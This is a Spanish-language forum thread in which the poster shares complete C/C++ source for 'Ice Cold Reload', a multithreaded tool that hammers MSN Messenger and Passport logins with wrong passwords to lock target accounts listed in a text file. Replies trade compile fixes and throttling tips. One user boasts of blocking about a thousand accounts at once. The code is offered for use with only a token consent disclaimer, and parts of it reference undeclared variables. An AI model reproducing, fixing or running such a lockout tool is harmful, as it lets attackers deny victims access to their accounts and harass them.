Páginas: [1] 2
|
 |
|
Autor
|
Tema: Ice Cold Reload en C (Codigo fuente) (Leído 2126 veces)
|
EvilGoblin
Desconectado
Mensajes: 809
LAIN IS LAIN
|
Acabo de terminar el Ice cold Reload en C Espero que este codigo ayude para crear bots y esas cosas xP Doy gracias a Mazard que me paso la autentificacion en login.passport.com para obtener el ticket! =) Bueno Bueno el metodo de uso es el siguiente donde creas el ejecutable Crea un txt(ListaMsn.txt) y ahi pone en cada nueva linea el mail de quien kieres Floodear pero yo para ahorra un poco de codigo y la verdad pork estaba un poco cansado ya pongo los mails asi mi_mail%40hotmail.com mi_mail%40gmail.com con "%40" en vez de "@" no es que luego no pueda transformarlo.. pero en si me daba igual. /* Projecto: FrezzMsn.exe Fecha Inicio: 16/04/2007 Fecha Fin: 25/04/2007 Fecha Ultima modificacion: 26/04/2007 Creador: Evilgoblin http://www.fotolog.com/evilgoblin
Proceso: Inentar Masivamente Conexiones a MSN con cualquier contraseña con el objetivo de inutilizar la cuenta, las cuentas las capta de un archivo ListaMsn.txt que debe estar en la misma carpeta del Ejecutable.
NO ME HAGO RESPONSABLE POR EL MAL USO QUE LE DEN, SOLO ES PARA UTILIZAR CON CUENTAS DE USTEDES o DE GENTE CON SU CONSENTIMIENTO.
Debido a que el codigo es cacero Y por un 1d10t que nu estudio programacion ^^ puede contener varios errores, como la comprobacion de que realmente funcione ya que =P cuesta mucho tiempo y 0 ganas de hacerlo ^^ */
//DICTAMOS LOS HEADERS .... ARCHIVOS DE CABECERAS....... #include <iostream.h> #include <stdlib.h> #include <winsock2.h> #include <wininet.h> #include <string.h> #include <fstream.h> ////FUNCIONES/////// void InicioRed(); void FinRed(); void cargar();
///VARIABLES GLOBALES int port = 1863; char mail[100][50]; int CantMail =0; int a = 0; char passwd[] = {"NoseNose"}; //////////////////
//////HILO//////////////// DWORD WINAPI ThFunc(LPVOID a) { char Peticio[1448]; int prueba =0; struct sockaddr_in estructura; struct sockaddr_in estructura2; char buffer[800]; char enviar[500]; char aux[200]; char dato[500]; buffer[0]='\0'; enviar[0]='\0'; int conexion1; int conexion2; char ip[30]; ip[0]='\0'; char Aux[35]; char mimail[40]; char Agent[]="BJFMD"; while(1<5) { for(int numero=0;numero<CantMail;numero++) { Sleep(50); dato[0]='\0'; buffer[0]='\0'; enviar[0]='\0'; aux[0]='\0'; ip[0]='\0'; Sleep(100); /////CONECTAMOS PRIMER SERVIDOR estructura.sin_family = AF_INET; estructura.sin_port = htons(port); estructura.sin_addr.s_addr = inet_addr("65.54.239.80"); conexion1 = socket(AF_INET,SOCK_STREAM,0); if (connect(conexion1,(struct sockaddr *) &estructura, sizeof(estructura)) < 0) { } else { ///ENVIAMOS PRIMER MENSAJE strcat(enviar,"VER 1 MSNP8 CVR0\r\n"); send(conexion1,enviar,strlen(enviar),0); prueba = recv(conexion1, buffer, sizeof(buffer), 0); if(!prueba) { } else { ///ENVIAMOS SEGUNDO MENSAJE enviar[0] ='\0'; strcat(enviar, "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS "); strcat(enviar,mail[numero]); strcat(enviar,"\r\n");
send(conexion1,enviar,strlen(enviar),0); buffer[0]='\0'; prueba =0; prueba = recv(conexion1, buffer, sizeof(buffer), 0); Sleep(200); if (!prueba) { } else { ////ENVIAMOS TERCER MENSAJE enviar[0] ='\0'; strcat(enviar, "USR 3 TWN I "); strcat(enviar,mail[numero]); strcat(enviar,"\r\n"); send(conexion1,enviar,sizeof(enviar),0); buffer[0]='\0'; prueba = recv(conexion1, buffer, sizeof(buffer), 0); if (!prueba) { } else { aux[0]='\0'; for(int i=9;i<50;i++) { char parcial[2]; parcial[0] ='\0'; sprintf(parcial,"%c",buffer[i]); strcat(ip,parcial); } strtok(ip,":"); closesocket (conexion1);
//conexion 2 memset(&estructura2,0,sizeof(estructura2)); estructura2.sin_family = AF_INET; estructura2.sin_port = htons(port); estructura2.sin_addr.s_addr = inet_addr(ip); conexion1 = socket(AF_INET,SOCK_STREAM,0); if (connect(conexion1,(struct sockaddr *) &estructura2, sizeof(estructura)) < 0) { } else { ///////////// ////////////
enviar[0]='\0'; strcat(enviar,"VER 1 MSNP8 CVR0\r\n"); send(conexion1,enviar,strlen(enviar),0); buffer[0]='\0'; prueba = recv(conexion1, buffer, sizeof(buffer), 0); if (!prueba) { closesocket (conexion1); } else { /////////2do paso enviar[0] = '\0'; strcat(enviar,"CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS "); strcat(enviar,mail[numero]); strcat(enviar,"\r\n"); send(conexion1,enviar,strlen(enviar),0); buffer[0]='\0'; prueba = recv(conexion1, buffer, sizeof(buffer), 0);
if (!prueba) { closesocket (conexion1); } else { /////PASO 3 enviar[0] = '\000'; strcat(enviar,"USR 3 TWN I "); strcat(enviar,mail[numero]); strcat(enviar,"\r\n");
send(conexion1,enviar,strlen(enviar),0); buffer[0]='\0'; prueba = recv(conexion1, buffer, 161, 0);
if (!prueba) { closesocket (conexion1); } else { ////PASO 4 BUSCAMOS EL TIKET dato[0]='\0'; for(int i=12;i<159;i++) { char temporal[2]; temporal[0] = '\0'; sprintf(temporal,"%c",buffer[i]); strcat(dato, temporal);
}
///////PASO 5
HINTERNET Hroot; HINTERNET hOpen;
DWORD tam;
Peticio[0]='\0';
sprintf(Peticio,"Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%%3A%%2F%%2Fmessenger%%2Emsn%%2Ecom,sign-in=%s,pwd=%s,%s\r\n", mail[numero],passwd,dato);
Hroot=InternetOpen(Agent,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); if (Hroot==NULL) { closesocket (conexion1); } else {
hOpen=InternetOpenUrl(Hroot,"https://login.passport.com/login2.srf",Peticio,-1, INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_SECURE,0);
if (hOpen==NULL) { InternetCloseHandle(Hroot); closesocket (conexion1); } else { InternetCloseHandle(Hroot); InternetCloseHandle(hOpen); closesocket (conexion1); }}}}} }}} } } } } }
/////////////////FUNCION MAIN////////// int main(int argc, char *argv[]) { int MAX = 1; cargar();
DWORD dwThreadID[MAX]; HANDLE hThread[MAX];
for (int i=0;i<CantMail;i++) { cout << mail[i] << endl; } cout << endl << "Cuantos hilos quieres crear: "; cin >> MAX; InicioRed(); cout << "Flood Velocidad " << MAX << " iniciada..." << endl; for(int i = 0;i<MAX;i++) { Sleep(100); hThread[i] = CreateThread(NULL,0,ThFunc,&a,0,&dwThreadID[i]);
} WaitForMultipleObjects (MAX,hThread,TRUE,INFINITE);
cout << "SALIMOS !!!!!!!!!!!!!!!!!!!!!!" << endl; FinRed(); system("PAUSE"); return EXIT_SUCCESS; }
////////////////////FUNCIONES void cargar()//cargar lista de contraseñas { mail[0][0] = '\0'; int i = 0; ifstream fe("ListaMsn.txt");
while(!fe.eof()) { fe >> mail[i]; i++; } CantMail = i; } void InicioRed()//Inicializacion de la libreria de windows {
WSADATA info; if (WSAStartup(MAKEWORD(2,0), &info) != 0) { printf("[-]Imposible iniciar Winsock!"); return; } }
void FinRed() { WSACleanup();//Cerramos la libreria de forma correcta } Espero que les sirva ^^ Gracias =)
|
|
|
|
« Última modificación: 26 Abril 2007, 19:28 por evilgoblin »
|
En línea
|
 Experimental Serials Lain
|
|
|
EvilGoblin
Desconectado
Mensajes: 809
LAIN IS LAIN
|
Cambiar el Cargar por esta funcion void cargar()//cargar lista de contraseñas { mail[0][0] = '\0'; int i = 0; ifstream fe("ListaMsn.txt");
while(!fe.eof()) { fe >> mail[i]; i++; } CantMail = i; int longi= 0; for ( int x=0;x<CantMail;x++) { strcat(mail2[x],mail[x]); }
for(int x=0;x<CantMail;x++) { longi=strlen(mail[x]); for (int z=0;z<longi;z++) { if(mail[x][z] == '@') { char mailaux2[50]; mailaux2[0]='\0'; mailaux[0]='\0'; strtok(mail2[x],"@"); int q=z; q++; for(q;q<longi;q++) { char vz[2]; vz[0]='\0'; sprintf(vz,"%c",mail[x][q]); strcat(mailaux,vz); } strcat(mailaux2,mail2[x]); int pop=z; strcat(mailaux2,"%40"); strcat(mailaux2,mailaux); mail2[x][0]='\0'; strcat(mail2[x],mailaux2); } } } } y asi ya no necesitas poner el "%40" ^^ GOBLIN INC!
|
|
|
|
|
En línea
|
 Experimental Serials Lain
|
|
|
Fernando1010
Desconectado
Mensajes: 26
|
Ya calmao y pa que tan seco ?
|
|
|
|
|
En línea
|
|
|
|
EvilGoblin
Desconectado
Mensajes: 809
LAIN IS LAIN
|
?
|
|
|
|
|
En línea
|
 Experimental Serials Lain
|
|
|
neoshadybeat
Desconectado
Mensajes: 39
|
no me compila con el dev-cpp me da fallo en #include <fstream.h>, hay alguna k puede ser de reemplazo, saludos y asias de antemano ^^
|
|
|
|
|
En línea
|
|
|
|
EvilGoblin
Desconectado
Mensajes: 809
LAIN IS LAIN
|
Si me dices cual es el error quizas pueda ayudarte
si me dices q te falla porque te tira 500 errores
prueba <fstream> y sino bajate la ultima version(creo)
yo uso la version 4.9.9.2
al principio me tiro un error en las librerias
pero al ir al head era un simple mensaje para antes de compilar
algo como
#this mensagge is for.. .blah lbah lbha lbhalbah
una vez borrado eso.. o pasarlo como comentario /* */ ya podia compilar bien! ^^
suerte!
|
|
|
|
|
En línea
|
 Experimental Serials Lain
|
|
|
neoshadybeat
Desconectado
Mensajes: 39
|
Compilador: Default compiler Ejecutando gcc.exe... gcc.exe "C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c" -o "C:\Documents and Settings\NeoShadybeat\Escritorio\msn.exe" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib" C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:34:22: iostream.h: No such file or directory C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:39:21: fstream.h: No such file or directory C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c: In function `ThFunc': C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:77: error: 'for' loop initial declaration used outside C99 mode C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:140: error: 'for' loop initial declaration used outside C99 mode C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:218: error: 'for' loop initial declaration used outside C99 mode
C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c: In function `main': C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:289: error: 'for' loop initial declaration used outside C99 mode C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:291: error: `cout' undeclared (first use in this function) C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:291: error: (Each undeclared identifier is reported only once C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:291: error: for each function it appears in.) C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:291: error: `endl' undeclared (first use in this function) C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:294: error: `cin' undeclared (first use in this function) C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:297: error: redefinition of 'i' C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:289: error: previous definition of 'i' was here C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:297: error: 'for' loop initial declaration used outside C99 mode
C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c: In function `cargar':
C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:316: error: `ifstream' undeclared (first use in this function) C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:316: error: syntax error before "fe" C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:318: error: `fe' undeclared (first use in this function) C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:325: error: 'for' loop initial declaration used outside C99 mode C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:327: error: `mail2' undeclared (first use in this function) C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:330: error: redefinition of 'x'
C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:325: error: previous definition of 'x' was here C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:330: error: 'for' loop initial declaration used outside C99 mode C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:333: error: 'for' loop initial declaration used outside C99 mode C:\Documents and Settings\NeoShadybeat\Escritorio\msn.c:339: error: `mailaux' undeclared (first use in this function)
Ejecución Terminada
todo son de dependencias y uso tú misma versión
|
|
|
|
|
En línea
|
|
|
|
EvilGoblin
Desconectado
Mensajes: 809
LAIN IS LAIN
|
iostream.h: No such file or directory
No encuentra las librerias. como que no las tenes ^^ busca dentro de la carpeta includes/ =) ^^" e instala la ultima version de DEV C++ y listo todo lo demas son funciones que estan en iostream.h y fstream.h suerte! =D
|
|
|
|
|
En línea
|
 Experimental Serials Lain
|
|
|
nhaalclkiemr
Desconectado
Mensajes: 1.644
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
Tu programa está muy bien como ya te dije, pero tiene un problema... Pongo el eMule y el programa y todo normal...pero al pasar dos horas o por aí Internet falla y por ejemplo no me deja ir a google ni a ninguna web, ni conectarme al MSN, ni sikiera acceder al router,...sin embargo el emule si k sigue conectado, aunke si lo desconecto y lo vuelvo a intentar conectar ya no funciona...el problema no es del eMule pues siempre me funciona bieny si no ejecuto tu programa no hay ningun problema...ademas el problema se soluciona cuando cierro tu programa... En resumen, aí tiene que haber algun fallo que bloquea Internet despues de un tiempo de uso... Por el resto muy bien  Saludos 
|
|
|
|
|
En línea
|
|
|
|
EvilGoblin
Desconectado
Mensajes: 809
LAIN IS LAIN
|
yo lo tube 5 horas para probarlo y no tube problemas con 512 KB de banda
por lo que me describes es que termina consumiendo la banda tampoco no es necesario usar tanto ^^
Lo q kisas funcionaria es agregar un Sleep()
o antes de hacer cada prueba
o luego de hacer todas las pruebas antes de volver a
iniciar.
osea despues del For() del inicio para que espere antes de comenzar a enviar y recibir cada prueba de cada msn o un Sleep despues del While(1<5) que seria para que espere luego de probar con todos los contactos el problema es que tu puedes hacer q esper 1 min antes de cada prueba pero si tienes una lista de 20 msn no va a funcionar pork va a esperar el tiempo ese y va a empezar a hacer las pruebas y va a tardar bastante y no va a llegar a cubrir todo.
lo que puedes hacer es modificarlo
agregando un
Sleep(TIEMPO); y asignarle un valor a TIEMPO cada vez q inicias el programa lo q pasa q yo lo hice para hacerlo under ground por eso no muestra nada el programa ^^
Suerte! =)
|
|
|
|
|
En línea
|
 Experimental Serials Lain
|
|
|
neoshadybeat
Desconectado
Mensajes: 39
|
snif snif no me va y no se xk tengo tú misma versión, he exo una instalación limpia y me saltan errores a punta pala dsd el cin cout declaración de un int en bucle etc.., si puedes subir el exe lo agradecería, Saludos
|
|
|
|
|
En línea
|
|
|
|
tripitaka
Desconectado
Mensajes: 5
|
el ice cold reloaded funciona? yo hice un "lanzador" para el nuke msn 1.4 y controlando tiempos puede bloquear unas mil cuentas simultanemante :O sin consumir casi recursos, solo que lo acabo de probar y el nuke msn 1.4 no funciona, prove el ice cold reloaded pero tampoco bloque las cuentas. Puedes iniciar sesion escribiendo las letras y numeros de la imagen. ¿Hay alguna version de icecoldreloaded que funcione? es que si no funciona no se para que poneis el codigo fuente
|
|
|
|
|
En línea
|
|
|
|
riyeser
Desconectado
Mensajes: 1
|
Ayudenmennn... yo tengo solo un pequeno error como lo corrijo? el error ese este:
Ejecutando g++.exe... g++.exe "C:\Documents and Settings\yo\My Documents\Sin Nombre1.cpp" -o "C:\Documents and Settings\yo\My Documents\Sin Nombre1.exe" -pg -g3 -lgmon -pg -g3 Ejecución Terminada
|
|
|
|
|
En línea
|
|
|
|
Chuxxx
Desconectado
Mensajes: 13
|
a mi tmp me funciona, pongo compilar y ejecutar y me aparece esto en el resultado de la compilacion:
Compilador: Default compiler Ejecutando g++.exe... g++.exe "C:\Documents and Settings\...\Mis documentos\SinNombre1.cpp" -o "C:\Documents and Settings\...\Mis documentos\SinNombre1.exe" -I"e:\Dev-Cpp\lib\gcc\mingw32\3.4.2\include" -I"e:\Dev-Cpp\include\c++\3.4.2\backward" -I"e:\Dev-Cpp\include\c++\3.4.2\mingw32" -I"e:\Dev-Cpp\include\c++\3.4.2" -I"e:\Dev-Cpp\include" -L"e:\Dev-Cpp\lib" In file included from e:/Dev-Cpp/include/c++/3.4.2/backward/iostream.h:31, from C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp:34: e:/Dev-Cpp/include/c++/3.4.2/backward/backward_warning.h:32:2: warning: #warning This file includes at least one deprecated or antiquated header. Please consider using one of the 32 headers found in section 17.4.1.2 of the C++ standard. Examples include substituting the <X> header for the <X.h> header for C++ includes, or <iostream> instead of the deprecated header <iostream.h>. To disable this warning use -Wno-deprecated. C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp: In function `DWORD ThFunc(void*)':
C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp:255: warning: passing negative value `-0x000000001' for converting 4 of `void* InternetOpenUrlA(void*, const CHAR*, const CHAR*, DWORD, DWORD, DWORD)'
C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp: In function `void cargar()': C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp:327: error: `mail2' undeclared (first use this function) C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp:327: error: (Each undeclared identifier is reported only once for each function it appears in.) C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp:339: error: `mailaux' undeclared (first use this function)
C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp: In function `void FinRed()': C:\Documents and Settings\.\Mis documentos\SinNombre1.cpp:380: error: expected `}' at end of input
Ejecución Terminada
y no lo ejecuta,, ni sikiera lo compila
esto lo veo muy bueno al programa,, pero cosa qe no anda :S jajaja
aver si podemos arreglar esto ^^
|
|
|
|
|
En línea
|
|
|
|
|
Karman
|
actualícense chicos! pero al ir al head era un simple mensaje para antes de compilar algo como
#this mensagge is for.. .blah lbah lbha lbhalbah
una vez borrado eso.. o pasarlo como comentario /* */ ya podia compilar bien! ^^
suerte!
a mi tmp me funciona, pongo compilar y ejecutar y me aparece esto en el resultado de la compilacion:
warning: #warning This file includes at least one deprecated or antiquated header. Please consider using one of the 32 headers found in section 17.4.1.2 of the C++ standard. Examples include substituting the <X> header for the <X.h> header for C++ includes, or <iostream> instead of the deprecated header <iostream.h>. To disable this warning use -Wno-deprecated. utilizen #include <iostream> #include <fstream> en vez de #include <iostream.h> #include <fstream.h> S2
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1] 2
|
|
|
|